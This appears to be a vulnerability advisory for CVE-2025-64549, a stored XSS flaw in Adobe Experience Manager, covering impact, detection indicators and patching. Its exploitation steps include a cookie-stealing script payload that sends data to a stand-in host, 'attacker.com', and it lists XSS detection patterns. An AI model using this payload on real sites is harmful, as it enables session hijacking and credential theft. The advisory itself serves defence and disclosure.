CVE-2025-64549: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64549 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any user who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and network-level access to the AEM instance. The attack vector is network-based with low attack complexity, and the scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. The confidentiality and integrity impacts are rated Low (per CVSS), with no direct availability impact; however, in an enterprise AEM deployment, stored XSS can be leveraged to escalate privileges or pivot to higher-value targets by targeting administrative users. The changed scope indicates that the impact extends beyond the attacker's own session to affect other users of the platform (Adobe Advisory, Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author account).
3. Locate vulnerable form field: Navigate to a page or component within AEM that contains a form field susceptible to stored XSS (e.g., a text input or rich-text editor field that does not properly sanitize input).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (e.g., an administrator or other user) to browse to the page containing the injected content; the malicious script executes in their browser context.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server, or use the victim's session to perform unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded JavaScript tags (<script>, %3Cscript%3E, javascript:) in form field parameters.
• Logs: AEM error or audit logs showing unexpected content modifications by low-privileged user accounts, particularly involving HTML or script injection in page properties or form fields.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Presence of JavaScript payloads (e.g., <script>, onerror=, onload=) stored within AEM JCR (Java Content Repository) nodes, detectable via repository inspection or content audits.

Adobe has released patches addressing CVE-2025-64549 in AEM 6.5.24.0 (for on-premises deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict content authoring access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules to block injection attempts. Review and audit existing AEM content for stored XSS payloads as part of incident response (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to CVE-2025-64549 has been identified beyond standard vulnerability tracking coverage.